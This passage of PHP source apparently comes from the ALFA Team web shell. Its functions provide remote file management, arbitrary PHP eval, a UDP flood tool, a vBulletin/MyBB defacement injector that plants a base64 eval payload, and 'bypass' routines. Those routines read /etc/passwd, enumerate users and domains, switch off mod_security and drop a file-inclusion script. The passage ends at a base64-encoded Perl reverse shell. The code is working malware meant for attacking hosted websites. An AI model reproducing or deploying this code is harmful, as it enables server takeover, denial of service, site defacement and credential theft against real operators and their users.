1089elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
1090$dirs[] = array_merge($tmp, array('type' => 'dir'));
1091}
1092$GLOBALS['sort'] = $sort;
1093function wsoCmp($a, $b) {
1094if($GLOBALS['sort'][0] != 'size')
1095return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
1096else
1097return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
1098}
1099usort($files, "wsoCmp");
1100usort($dirs, "wsoCmp");
1101$files = array_merge($dirs, $files);
1102$l = 0;
1103foreach($files as $f) {
1104echo '<tr'.($l?' class=l1':'').'><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>| ' . htmlspecialchars($f['name']) . ' |</b>').'</a></td><td>'.(($f['type']=='file')?alfaSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
1105.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'<a href="#" onclick="g(\'FilesMan\',null,\'delete\', \''.urlencode($f['name']).'\')"> X </a></td></tr>';
1106$l = $l?0:1;
1107}
1108echo "<tr><td colspan=7>
1109<input type=hidden name=a value='FilesMan'>
1110<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
1111<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
1112</form></table></div>";
1113alfafooter();
1114}
1115function alfaFilesTools() {
1116if( isset($_POST['alfa1']) )
1117$_POST['alfa1'] = urldecode($_POST['alfa1']);
1118if(@$_POST['alfa2']=='download') {
1119if(@is_file($_POST['alfa1']) && @is_readable($_POST['alfa1'])) {
1120ob_start("ob_gzhandler", 4096);
1121header("Content-Disposition: attachment; filename=".basename($_POST['alfa1']));
1122if (function_exists("mime_content_type")) {
1123$type = @mime_content_type($_POST['alfa1']);
1124header("Content-Type: " . $type);
1125} else
1126header("Content-Type: application/octet-stream");
1127$fp = @fopen($_POST['alfa1'], "r");
1128if($fp) {
1129while(!@feof($fp))
1130echo @fread($fp, 1024);
1131fclose($fp);
1132}
1133}exit;
1134}
1135if( @$_POST['alfa2'] == 'mkfile' ) {
1136if(!file_exists($_POST['alfa1'])) {
1137$fp = @fopen($_POST['alfa1'], 'w');
1138if($fp) {
1139$_POST['alfa2'] = "edit";
1140fclose($fp);
1141}
1142}
1143}
1144alfahead();
1145echo '<div class=header>';
1146if( !file_exists(@$_POST['alfa1']) ) {
1147echo "<pre class=ml1 style='margin-top:5px'><b><font color=\"#ffffff\">FILE DOEST NOT EXITS(Deleted)<b></font> </pre></div>";
1148alfaFooter();
1149return;
1150}
1151$uid = @posix_getpwuid(@fileowner($_POST['alfa1']));
1152if(!$uid) {
1153$uid['name'] = @fileowner($_POST['alfa1']);
1154$gid['name'] = @filegroup($_POST['alfa1']);
1155} else $gid = @posix_getgrgid(@filegroup($_POST['alfa1']));
1156echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['alfa1'])).' <span>Size:</span> '.(is_file($_POST['alfa1'])?alfaSize(filesize($_POST['alfa1'])):'-').' <span>Permission:</span> '.alfaPermsColor($_POST['alfa1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
1157echo '<br>';
1158if( empty($_POST['alfa2']) )
1159$_POST['alfa2'] = 'view';
1160if( is_file($_POST['alfa1']) )
1161$m = array('View', 'Highlight', 'Download', 'Edit', 'Chmod', 'Rename', 'Touch');
1162else
1163$m = array('Chmod', 'Rename', 'Touch');
1164foreach($m as $v)
1165echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')"><span>'.((strtolower($v)==@$_POST['alfa2'])?'<b><span> '.$v.' </span> </b>':$v).' </span></a> ';
1166echo '<br><br>';
1167switch($_POST['alfa2']) {
1168case 'view':
1169echo '<pre class=ml1>';
1170$fp = @fopen($_POST['alfa1'], 'r');
1171if($fp) {
1172while( !@feof($fp) )
1173echo htmlspecialchars(@fread($fp, 1024));
1174@fclose($fp);
1175}
1176echo '</pre>';
1177break;
1178case 'highlight':
1179if( @is_readable($_POST['alfa1']) ) {
1180echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
1181$code = @highlight_file($_POST['alfa1'],true);
1182echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
1183}
1184break;
1185case 'chmod':
1186if( !empty($_POST['alfa3']) ) {
1187$perms = 0;
1188for($i=strlen($_POST['alfa3'])-1;$i>=0;--$i)
1189$perms += (int)$_POST['alfa3'][$i]*pow(8, (strlen($_POST['alfa3'])-$i-1));
1190if(!@chmod($_POST['alfa1'], $perms))
1191echo '<font color="#FFFFFF"><b>Can\'t set permissions!</b></font><br><script>document.mf.alfa3.value="";</script>';
1192}
1193clearstatcache();
1194echo '<script>alfa3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['alfa1'])),-4).'"><input type=submit value=">>"></form>';
1195break;
1196case 'edit':
1197if( !is_writable($_POST['alfa1'])) {
1198echo 'File isn\'t writeable';
1199break;
1200}
1201if( !empty($_POST['alfa3']) ) {
1202$time = @filemtime($_POST['alfa1']);
1203$_POST['alfa3'] = substr($_POST['alfa3'],1);
1204$fp = @fopen($_POST['alfa1'],"w");
1205if($fp) {
1206@fwrite($fp,$_POST['alfa3']);
1207@fclose($fp);
1208echo 'Saved!<br><script>alfa3_="";</script>';
1209@touch($_POST['alfa1'],$time,$time);
1210}
1211}
1212echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
1213$fp = @fopen($_POST['alfa1'], 'r');
1214if($fp) {
1215while( !@feof($fp) )
1216echo htmlspecialchars(@fread($fp, 1024));
1217@fclose($fp);
1218}
1219echo '</textarea><input type=submit value=">>"></form>';
1220break;
1221case 'hexdump':
1222$c = @file_get_contents($_POST['alfa1']);
1223$n = 0;
1224$h = array('00000000<br>','','');
1225$len = strlen($c);
1226for ($i=0; $i<$len; ++$i) {
1227$h[1] .= sprintf('%02X',ord($c[$i])).' ';
1228switch ( ord($c[$i]) ) {
1229case 0: $h[2] .= ' '; break;
1230case 9: $h[2] .= ' '; break;
1231case 10: $h[2] .= ' '; break;
1232case 13: $h[2] .= ' '; break;
1233default: $h[2] .= $c[$i]; break;
1234}
1235$n++;
1236if ($n == 32) {
1237$n = 0;
1238if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
1239$h[1] .= '<br>';
1240$h[2] .= "\n";
1241}
1242}
1243echo '<table cellspacing=1 cellpadding=5 bgcolor=black><tr><td bgcolor=gray><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
1244break;
1245case 'rename':
1246if( !empty($_POST['alfa3']) ) {
1247if(!@rename($_POST['alfa1'], $_POST['alfa3']))
1248echo 'Can\'t rename!<br>';
1249else
1250die('<script>g(null,null,"'.urlencode($_POST['alfa3']).'",null,"")</script>');
1251}
1252echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['alfa1']).'"><input type=submit value=">>"></form>';
1253break;
1254case 'touch':
1255if( !empty($_POST['alfa3']) ) {
1256$time = strtotime($_POST['alfa3']);
1257if($time) {
1258if(!touch($_POST['alfa1'],$time,$time))
1259echo 'Fail!';
1260else
1261echo 'Touched!';
1262} else echo 'Bad time format!';
1263}
1264clearstatcache();
1265echo '<script>alfa3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['alfa1'])).'"><input type=submit value=">>"></form>';
1266break;
1267}
1268echo '</div>';
1269alfaFooter();
1270}
1271function alfaphpeval()
1272{
1273alfahead();
1274if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'ini')) {
1275echo '<div class=header>';
1276ob_start();
1277$INI=ini_get_all();
1278print '<table border=0><tr>'
1279.'<td class="listing"><font class="highlight_txt">Param</td>'
1280.'<td class="listing"><font class="highlight_txt">Global value</td>'
1281.'<td class="listing"><font class="highlight_txt">Local Value</td>'
1282.'<td class="listing"><font class="highlight_txt">Access</td></tr>';
1283foreach ($INI as $param => $values)
1284print "\n".'<tr>'
1285.'<td class="listing"><b>'.$param.'</td>'
1286.'<td class="listing">'.$values['global_value'].' </td>'
1287.'<td class="listing">'.$values['local_value'].' </td>'
1288.'<td class="listing">'.$values['access'].' </td></tr>';
1289$tmp = ob_get_clean();
1290$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
1291$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
1292echo str_replace('<h1','<h2', $tmp) .'</div><br>';
1293}
1294if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'info')) {
1295echo '<div class=header><style>.p {color:#000;}</style>';
1296ob_start();
1297phpinfo();
1298$tmp = ob_get_clean();
1299$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
1300$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
1301echo str_replace('<h1','<h2', $tmp) .'</div><br>';
1302}
1303if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'exten')) {
1304echo '<div class=header>';
1305ob_start();
1306$EXT=get_loaded_extensions ();
1307print '<table border=0><tr><td class="listing">'
1308.implode('</td></tr>'."\n".'<tr><td class="listing">', $EXT)
1309.'</td></tr></table>'
1310.count($EXT).' extensions loaded';
1311echo '</div><br>';
1312}
1313if(empty($_POST['ajax']) && !empty($_POST['alfa1']))
1314$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
1315echo '<div class=header><Center><a href=# onclick="g(\'phpeval\',null,\'\',\'ini\')">| INI_INFO | </a><a href=# onclick="g(\'phpeval\',null,\'\',\'info\')"> | phpinfo |</a><a href=# onclick="g(\'phpeval\',null,\'\',\'exten\')"> | extensions |</a></center><br><form name=pf method=post onsubmit="g(\'phpeval\',null,this.code.value,\'\'); return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['alfa1'])?htmlspecialchars($_POST['alfa1']):'').'</textarea><center><input type=submit value=Eval style="margin-top:5px"></center>';
1316echo '</form><pre id=PhpOutput style="'.(empty($_POST['alfa1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
1317if(!empty($_POST['alfa1'])) {
1318ob_start();
1319eval($_POST['alfa1']);
1320echo htmlspecialchars(ob_get_clean());
1321}
1322echo '</pre></div>';
1323alfafooter();
1324}
1325function alfahash()
1326{
1327if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
1328if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
1329if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
1330if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
1331if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
1332$stringTools = array(
1333'Base64 encode' => 'base64_encode',
1334'Base64 decode' => 'base64_decode',
1335'md5 hash' => 'md5',
1336'sha1 hash' => 'sha1',
1337'crypt' => 'crypt',
1338'CRC32' => 'crc32',
1339'Url encode' => 'urlencode',
1340'Url decode' => 'urldecode',
1341'Full urlencode' => 'full_urlencode',
1342'Htmlspecialchars' => 'htmlspecialchars',
1343);
1344alfahead();
1345echo '<div class=header>';
1346if(empty($_POST['ajax'])&&!empty($_POST['alfa1']))
1347$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
1348echo "<form onSubmit='g(null,null,this.selectTool.value,this.input.value); return false;'><select name='selectTool'>";
1349foreach($stringTools as $k => $v)
1350echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
1351echo "</select><input type='submit' value='>>'/><br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['alfa1'])?'':htmlspecialchars(@$_POST['alfa2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['alfa1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
1352if(!empty($_POST['alfa1'])) {
1353if(in_array($_POST['alfa1'], $stringTools))echo htmlspecialchars($_POST['alfa1']($_POST['alfa2']));
1354}
1355echo "</div>";
1356alfaFooter();
1357}
1358function alfados()
1359{
1360alfahead();
1361echo '<div class=header>';
1362if(empty($_POST['ajax'])&&!empty($_POST['alfa1']))
1363$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
1364echo '<center><span>| UDP |</span><br><br><form onSubmit="g(null,null,this.udphost.value,this.udptime.value,this.udpport.value); return false;" method=POST><span>Host : </span><input name="udphost" type="text" size="25" /><span> Time : </span><input name="udptime" type="text" size="15" /><span> Port : </span><input name="udpport" type="text" size="10" /><input type="submit" value=">>" /></form></center>';
1365echo "<pre class='ml1' style='".(empty($_POST['alfa1'])?'display:none;':'')."margin-top:5px' >";
1366if(!empty($_POST['alfa1']) && !empty($_POST['alfa2']) && !empty($_POST['alfa3']))
1367{
1368$packets=0;
1369ignore_user_abort(true);
1370$exec_time=$_POST['alfa2'];
1371$time=time();
1372$max_time=$exec_time+$time;
1373$host=$_POST['alfa1'];
1374$portudp=$_POST['alfa3'];
1375for($i=0;$i<65000;$i++)
1376{
1377$out .= 'X';
1378}
1379while(1){
1380$packets++;
1381if(time() > $max_time){
1382break;
1383}
1384$fp = fsockopen('udp://'.$host, $portudp, $errno, $errstr, 5);
1385if($fp){
1386fwrite($fp, $out);
1387fclose($fp);
1388}
1389}
1390echo "$packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second";
1391echo "</pre>";
1392}
1393echo '</div>';
1394alfafooter();
1395}
1396function alfaIndexChanger(){
1397alfahead();
1398echo '<div class=header><script>alfa1_=alfa2_=alfa3_=alfa4_="";</script><center><h3><span>| Index Changer |</span></h3><center><h3><a href=# onclick="g(\'IndexChanger\',null,\'vb\',null)">| vBulletin | </a><a href=# onclick="g(\'IndexChanger\',null,null,\'mybb\')">| MyBB | </a></h3></center>';
1399if(isset($_POST['alfa1']) && ($_POST['alfa1'] == 'vb')) {
1400echo "<script>alfa6_=alfa7_=alfa8_=alfa9_=alfa10_=\"\";</script><center><table border=0 width='100%'>
1401<tr><td>
1402<center><b><font color=\"#FFFF01\">==</font> <font color=\"#00A220\">vBulletin</font> <font color=\"#FFFFFF\">Index</font> <font color=\"#FF0000\">Changer</font><font color=\"#FFFF01\"> ==</font></b>
1403<p> <center><form onSubmit=\"g('IndexChanger',null,'vb',null,null,null,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value); return false;\" method=POST>
1404<table border=1>
1405<tr><td><font color='#FFFFFF'><b>Mysql Host</b></font></td>
1406<td><input type=text name=dbh value=localhost size='50' ></td></tr>
1407<tr><td><font color='#FFFFFF'><b>Db User</b><br></font></td>
1408<td> <input type=text name=dbu size='50' ></td></tr>
1409<tr><td><font color='#FFFFFF'><b>Db Name</b><br></font></td>
1410<td> <input type=text name=dbn size='50' ></td></tr>
1411<tr><td><font color='#FFFFFF'><b>Db Pass</b><br></font></td>
1412<td> <input type=text name=dbp size='50' ></td></tr>
1413</table>
1414<font color='#FFFF01' size=\"3\"><b>your index</b></font><br>
1415<textarea name=index rows='19' cols='103' style='color: #FFFFFF; background-color: #000000'><title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><br>
1416<input type=submit value='>>'>
1417</form></center></td></tr>
1418</table></center>";
1419if(isset($_POST['alfa6'])) {
1420$s0levisible="Powered By Solevisible";
1421$dbu = $_POST['alfa6'];
1422$dbn = $_POST['alfa7'];
1423$dbp = $_POST['alfa8'];
1424$dbh = $_POST['alfa9'];
1425$index = $_POST['alfa10'];
1426$index=str_replace("\'","'",$index);
1427$set_index = "{\${eval(base64_decode(\'";
1428$set_index .= base64_encode("echo \"$index\";");
1429$set_index .= "\'))}}{\${exit()}}</textarea>";
1430if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index))
1431{
1432mysql_connect($dbh,$dbu,$dbp) or die(mysql_error());
1433mysql_select_db($dbn) or die(mysql_error());
1434$loli1 = "UPDATE template SET template='".$set_index."".$s0levisible."' WHERE title='spacer_open'";
1435$loli2 = "UPDATE template SET template='".$set_index."".$s0levisible."' WHERE title='FORUMHOME'";
1436$loli3 = "UPDATE style SET css='".$set_index."".$s0levisible."', stylevars='', csscolors='', editorstyles=''";
1437$result = mysql_query($loli1) or die (mysql_error());
1438$result = mysql_query($loli2) or die (mysql_error());
1439$result = mysql_query($loli3) or die (mysql_error());
1440echo "<script>alert('VB index changed');</script>";
1441}
1442}
1443}
1444if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'mybb')) {
1445echo "<script>alfa6_=alfa7_=alfa8_=alfa9_=alfa10_=\"\";</script><center><table border=0 width='100%'>
1446<tr><td>
1447<center><b><font color=\"#FFFF01\">==</font> <font color=\"#00A220\">Mybb</font> <font color=\"#FFFFFF\">Index</font> <font color=\"#FF0000\">Changer</font><font color=\"#FFFF01\"> ==</font></b>
1448<p><center><form onSubmit=\"g('IndexChanger',null,'null','mybb',null,null,null,this.mybbdbh.value,this.mybbdbu.value,this.mybbdbn.value,this.mybbdbp.value,this.mybbindex.value); return false;\" method=POST action=''>
1449<table border=1>
1450<tr><td><font color='#FFFFFF'><b>Mysql Host</b></font></td>
1451<td><input type=text name=mybbdbh value=localhost size='50' ></td></tr>
1452<tr><td><font color='#FFFFFF'><b>Db User</b><br></font></td>
1453<td> <input type=text name=mybbdbu size='50' ></td></tr>
1454<tr><td><font color='#FFFFFF'><b>Db Name</b><br></font></td>
1455<td> <input type=text name=mybbdbn size='50' ></td></tr>
1456<tr><td><font color='#FFFFFF'><b>Db Pass</b><br></font></td>
1457<td> <input type=text name=mybbdbp size='50' ></td></tr>
1458</table>
1459<font color='#FFFF01' size=\"3\"><b>your index</b></font><br>
1460<textarea name=mybbindex rows='19' cols='103' style='color: #FFFFFF; background-color: #000000'>
1461<title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><br>
1462<input type=submit value='>>' >
1463</form></center></td></tr></table></center>";
1464if(isset($_POST['alfa6'])) {
1465$mybb_dbh = $_POST['alfa6'];
1466$mybb_dbu = $_POST['alfa7'];
1467$mybb_dbn = $_POST['alfa8'];
1468$mybb_dbp = $_POST['alfa9'];
1469$mybb_index = $_POST['alfa10'];
1470if (!empty($mybb_dbh) && !empty($mybb_dbu) && !empty($mybb_dbn) && !empty($mybb_index))
1471{
1472mysql_connect($mybb_dbh,$mybb_dbu,$mybb_dbp) or die(mysql_error());
1473mysql_select_db($mybb_dbn) or die(mysql_error());
1474$prefix="mybb_";
1475$loli7 = "UPDATE ".$prefix."templates SET template='".$mybb_index."' WHERE title='index'";
1476$result = mysql_query($loli7) or die (mysql_error());
1477echo "<script>alert('MyBB index changed');</script>";
1478}
1479}
1480}
1481echo "</div>";
1482alfafooter();
1483}
1484function alfaproc()
1485{
1486alfahead();
1487echo "<Div class=header><center>";
1488if(empty($_POST['ajax'])&&!empty($_POST['alfa1']))
1489$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
1490if($GLOBALS['sys']=="win")
1491{
1492$process=array(
1493"System Info" =>"systeminfo",
1494"Active Connections" => "netstat -an",
1495"Running Services" => "net start",
1496"User Accounts" => "net user",
1497"Show Computers" => "net view",
1498"ARP Table" => "arp -a",
1499"IP Configuration" => "ipconfig /all"
1500);
1501}
1502else
1503{
1504$process=array(
1505"Process status" => "ps aux",
1506"Syslog" =>"cat /etc/syslog.conf",
1507"Resolv" => "cat /etc/resolv.conf",
1508"Hosts" =>"cat /etc/hosts",
1509"Cpuinfo"=>"cat /proc/cpuinfo",
1510"Version"=>"cat /proc/version",
1511"Sbin"=>"ls -al /usr/sbin",
1512"Interrupts"=>"cat /proc/interrupts",
1513"lsattr"=>"lsattr -va",
1514"Uptime"=>"uptime",
1515"Fstab" =>"cat /etc/fstab",
1516);}
1517foreach($process as $n => $link)
1518{
1519echo '<a href="#" onclick="g(null,null,\''.$link.'\')"> | '.$n.' | </a>';
1520}
1521echo "</center>";
1522if(!empty($_POST['alfa1']))
1523{
1524echo "<pre class='ml1' style='margin-top:5px' >";
1525echo alfaEx($_POST['alfa1']);
1526echo '</pre>';
1527}
1528echo "</div>";
1529alfafooter();
1530}
1531function alfasafe()
1532{
1533alfahead();
1534echo "<div class=header><script>alfa1_=alfa2_=alfa3_=alfa4_=alfa5_=alfa6_=alfa7_=alfa8_=\"\"</script><center><h3><span>| Atuo ByPasser |</span></h3>";
1535echo '<h3><a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(apache) | </a><a href=# onclick="g(null,null,null,null,\'pl\')">| .htaccess(LiteSpeed) |</a><a href=# onclick="g(null,null,null,null,null,\'passwd\')">| Read-Passwd | </a><a href=# onclick="g(null,null,null,null,null,null,\'users\')">| Read-Users | </a><a href=# onclick="g(\'safe\',null,null,null,null,null,null,\'valiases\')">| Get-User | </a><a href=# onclick="g(\'safe\',null,null,null,null,null,null,null,null,\'domains\')">| Get-Domains | </a></center></h3>';
1536if(!empty($_POST['alfa8']) && isset($_POST['alfa8']) == 'domains')
1537{if(!@file_exists("/etc/virtual/domainowners")){
1538echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br>";
1539$solevisible9 = @file('/etc/named.conf');
1540foreach($solevisible9 as $solevisible13){
1541if(@eregi('zone',$solevisible13)){
1542preg_match_all('#zone "(.*)"#',$solevisible13,$solevisible14);
1543if(strlen(trim($solevisible14[1][0])) > 2){
1544echo $solevisible14[1][0].'<br>';
1545}}}
1546}else{
1547echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br>".
1548$users = @file("/etc/virtual/domainowners");
1549foreach($users as $boz){
1550$dom = explode(":",$boz);
1551echo $dom[0]."\n";
1552}}}
1553if(!empty($_POST['alfa6']) && isset($_POST['alfa6']) == 'valiases')
1554{
1555echo '<center><script>alfa6_=alfa7_=alfa9_=\"\"</script>
1556<form onsubmit="g(\'safe\',null,null,null,null,null,null,\'valiases\',this.site.value,null,this.go.value); return false;" method="post" action="" />
1557<input type="text" placeholder="site.com" name="site" />
1558<input type="submit" value=">>" name="go" />
1559</form></center>
1560';
1561if($_POST['alfa9'] && $_POST['alfa9'] == '>>')
1562{
1563if(!@file_exists("/etc/virtual/domainowners")){
1564if(function_exists("posix_getpwuid") && function_exists("fileowner")){
1565$site = trim($_POST['alfa7']);
1566$rep = str_replace(array("https://","http://","www."),"",$site);
1567if($user = posix_getpwuid(@fileowner("/etc/valiases/{$rep}"))){
1568if($user['name']!= 'root'){
1569echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\">
1570<center>
1571<table border=1>
1572<tr><td><b><font color=\"#FFFFFF\">User: </b></font></td><td><b><font color=\"#FF0000\">{$user['name']}</font></b></td></tr>
1573<tr><td><b><font color=\"#FFFFFF\">site: </b></font></td><td><b><font color=\"#FF0000\">{$rep}</font></b></td></tr>
1574</table>
1575</center>";}}}
1576else {echo '<pre id="strOutput" style="margin-top:5px" class="ml1"><br/><center><b>No such file or directory Or Disable Functions is not NONE...</b></center>';}
1577}else{
1578$site = trim($_POST['alfa7']);
1579$rep = str_replace(array("https://","http://","www."),"",$site);
1580$users = @file("/etc/virtual/domainowners");
1581foreach($users as $boz){
1582$ex = explode(":",$boz);
1583if($ex[0] == $rep){
1584echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\">
1585<center>
1586<table border=1>
1587<tr><td><b><font color=\"#FFFFFF\">User: </b></font></td><td><b><font color=\"#FF0000\">".trim($ex[1])."</font></b></td></tr>
1588<tr><td><b><font color=\"#FFFFFF\">site: </b></font></td><td><b><font color=\"#FF0000\">{$rep}</font></b></td></tr></table></center>";break;}}}}}
1589if(!empty($_POST['alfa5']) && isset($_POST['alfa5']))
1590{
1591if(!@file_exists("/etc/virtual/domainowners")){
1592echo '<pre id="strOutput" style="margin-top:5px" class="ml1">';
1593$i = 0;
1594while ($i < 60000) {
1595$line = posix_getpwuid($i);
1596if (!empty($line)) {
1597while (list ($key, $vl) = each($line)){
1598echo $vl."\n";
1599break;}}$i++;}
1600}else{echo '<pre id="strOutput" style="margin-top:5px" class="ml1"><br>';
1601$users = @file("/etc/virtual/domainowners");
1602foreach($users as $boz){
1603$user = explode(":",$boz);
1604echo trim($user[1]).'<br>';}}}
1605if(!empty($_POST['alfa4']) && isset($_POST['alfa4'])){
1606echo '<pre id="strOutput" style="margin-top:5px" class="ml1">';
1607if(function_exists("system") || function_exists("exec") || function_exists("passthru") || function_exists("shell_exec")){echo alfaEx("cat /etc/passwd");}
1608elseif(function_exists("file_get_contents") && is_readable("/etc/passwd")){
1609echo file_get_contents("/etc/passwd");}
1610elseif(function_exists("posix_getpwuid")){
1611for($uid=0;$uid<60000;$uid++){
1612$ara = @posix_getpwuid($uid);
1613if (!empty($ara)) {
1614while (list ($key, $val) = each($ara)){
1615print "$val:";
1616}print "\n";}}
1617} else{echo '<script>alert("Error in bypass... im sorry:\(")</script>';}}
1618if(!empty($_POST['alfa2']) && isset($_POST['alfa2'])){
1619$fil=fopen($GLOBALS['cwd'].".htaccess","w");
1620fwrite($fil,'#Generated By Sole Sad and Invisible
1621<IfModule mod_security.c>
1622Sec------Engine Off
1623Sec------ScanPOST Off
1624</IfModule>');
1625fclose($fil);
1626echo '<script>alert("htaccess for Apache is created...!")</script>';
1627}
1628if(!empty($_POST['alfa1'])&& isset($_POST['alfa1']))
1629{
1630$fil=fopen($GLOBALS['cwd']."php.ini","w");
1631fwrite($fil,'safe_mode=OFF
1632disable_functions=ByPass By Sole Sad & Invisible(ALFA TEaM)');
1633fclose($fil);
1634$file2=fopen($GLOBALS['cwd']."ini.php","w");
1635fwrite($file2,'<?
1636echo ini_get("safe_mode");
1637echo ini_get("open_basedir");
1638include($_GET["file"]);
1639ini_restore("safe_mode");
1640ini_restore("open_basedir");
1641echo ini_get("safe_mode");
1642echo ini_get("open_basedir");
1643include($_GET["ss"]);
1644?>');
1645fclose($file2);
1646echo '<script>alert("php.ini && ini.php is created...!")</script>';
1647}
1648if(!empty($_POST['alfa3']) && isset($_POST['alfa3']))
1649{
1650$fil=fopen($GLOBALS['cwd'].".htaccess","w");
1651fwrite($fil,'#Generated By Sole Sad and Invisible
1652<Files *.php>
1653ForceType application/x-httpd-php4
1654</Files>
1655ahm tas: <IfModule mod_security.c>
1656SecFilterEngine Off
1657SecFilterScanPOST Off
1658</IfModule>');
1659fclose($fil);
1660echo '<script>alert("htaccess for Litespeed is created...!")</script>';
1661}
1662echo "<br></div>";
1663alfafooter();
1664}
1665function alfaconnect()
1666{
1667alfahead();
1668$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
